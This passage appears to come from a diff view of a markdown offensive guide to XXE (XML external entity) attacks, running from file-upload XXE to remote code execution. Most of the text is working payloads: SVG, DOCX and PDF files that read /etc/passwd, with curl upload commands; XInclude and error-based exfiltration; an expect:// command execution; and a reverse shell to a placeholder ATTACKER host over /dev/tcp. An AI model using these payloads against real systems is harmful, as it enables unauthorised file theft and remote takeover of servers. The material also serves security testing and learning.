<!-- Burp Collaborator: detect blind XXE via DNS lookups -->
|
|
87
|
+
```
|
|
88
|
+
|
|
89
|
+
---
|
|
90
|
+
|
|
91
|
+
## Phase 4 — XXE in File Uploads
|
|
92
|
+
|
|
93
|
+
```bash
|
|
94
|
+
# SVG XXE (image upload that parses SVG)
|
|
95
|
+
cat > evil.svg << 'EOF'
|
|
96
|
+
<?xml version="1.0" standalone="yes"?>
|
|
97
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
|
|
98
|
+
<svg xmlns="http://www.w3.org/2000/svg">
|
|
99
|
+
<text font-size="15">&xxe;</text>
|
|
100
|
+
</svg>
|
|
101
|
+
EOF
|
|
102
|
+
curl -X POST https://target.com/upload -F "file=@evil.svg"
|
|
103
|
+
|
|
104
|
+
# DOCX/XLSX XXE (Office documents are ZIP archives containing XML)
|
|
105
|
+
mkdir docx_xxe && cd docx_xxe
|
|
106
|
+
cp legitimate.docx evil.docx
|
|
107
|
+
unzip evil.docx -d evil_extracted/
|
|
108
|
+
# Edit evil_extracted/word/document.xml:
|
|
109
|
+
# Add XXE declaration at top
|
|
110
|
+
zip -r evil.docx evil_extracted/
|
|
111
|
+
curl -X POST https://target.com/upload -F "file=@evil.docx"
|
|
112
|
+
|
|
113
|
+
# PDF XXE (some PDF parsers)
|
|
114
|
+
cat > evil.pdf << 'EOF'
|
|
115
|
+
%PDF-1.4
|
|
116
|
+
1 0 obj
|
|
117
|
+
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>
|
|
118
|
+
EOF
|
|
119
|
+
```
|
|
120
|
+
|
|
121
|
+
---
|
|
122
|
+
|
|
123
|
+
## Phase 5 — XInclude Attack
|
|
124
|
+
|
|
125
|
+
```xml
|
|
126
|
+
<!-- When you can't control the DOCTYPE declaration -->
|
|
127
|
+
<!-- XInclude works inside XML document body -->
|
|
128
|
+
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
|
|
129
|
+
<xi:include parse="text" href="file:///etc/passwd"/>
|
|
130
|
+
</foo>
|
|
131
|
+
```
|
|
132
|
+
|
|
133
|
+
---
|
|
134
|
+
|
|
135
|
+
## Phase 6 — Error-Based XXE
|
|
136
|
+
|
|
137
|
+
```xml
|
|
138
|
+
<!-- Trigger parsing error to exfiltrate in error message -->
|
|
139
|
+
<!DOCTYPE foo [
|
|
140
|
+
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
|
141
|
+
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
|
|
142
|
+
%eval;
|
|
143
|
+
%error;
|
|
144
|
+
]>
|
|
145
|
+
<!-- Error message contains: file not found: /nonexistent/root:x:0:0:root... -->
|
|
146
|
+
```
|
|
147
|
+
|
|
148
|
+
---
|
|
149
|
+
|
|
150
|
+
## Phase 7 — XXE to RCE
|
|
151
|
+
|
|
152
|
+
```xml
|
|
153
|
+
<!-- PHP expect:// wrapper (if expect module loaded) -->
|
|
154
|
+
<?xml version="1.0"?>
|
|
155
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]>
|
|
156
|
+
<root>&xxe;</root>
|
|
157
|
+
<!-- Response: uid=33(www-data) -->
|
|
158
|
+
|
|
159
|
+
<!-- Escalate to reverse shell -->
|
|
160
|
+
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://bash -c 'bash -i >%26 /dev/tcp/ATTACKER/4444 0>%261'">]>
|
|
161
|
+
```
|
|
162
|
+
|
|
163
|
+
---
|
|
164
|
+
|
|
165
|
+
## Skill Levels
|
|
166
|
+
|
|
167
|
+
**BEGINNER:** Classic XXE file read (/etc/passwd) · SOAP/XML API testing · SVG file upload
|
|
168
|
+
|
|
169
|
+
**INTERMEDIATE:** XXE-based SSRF for cloud metadata · Blind OOB via Burp Collaborator · DOCX/XLSX XXE
|
|
170
|
+
|
|
171
|
+
**ADVANCED:** Error-based blind XXE · XInclude for restricted contexts · PHP filter chain via XXE
|
|
172
|
+
|
|
173
|
+
**EXPERT:** XXE to RCE via expect:// · Custom DTD chaining · XXE in binary protocols that embed XML
|
|
174
|
+
|
|
175
|
+
---
|
|
176
|
+
|
|
177
|
+
## References
|
|
178
|
+
|
|
179
|
+
- PortSwigger XXE: https://portswigger.net/web-security/xxe
|
|
180
|
+
- PayloadsAllTheThings XXE: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection
|
|
181
|
+
- MITRE T1059: https://attack.mitre.org/techniques/T1059/
|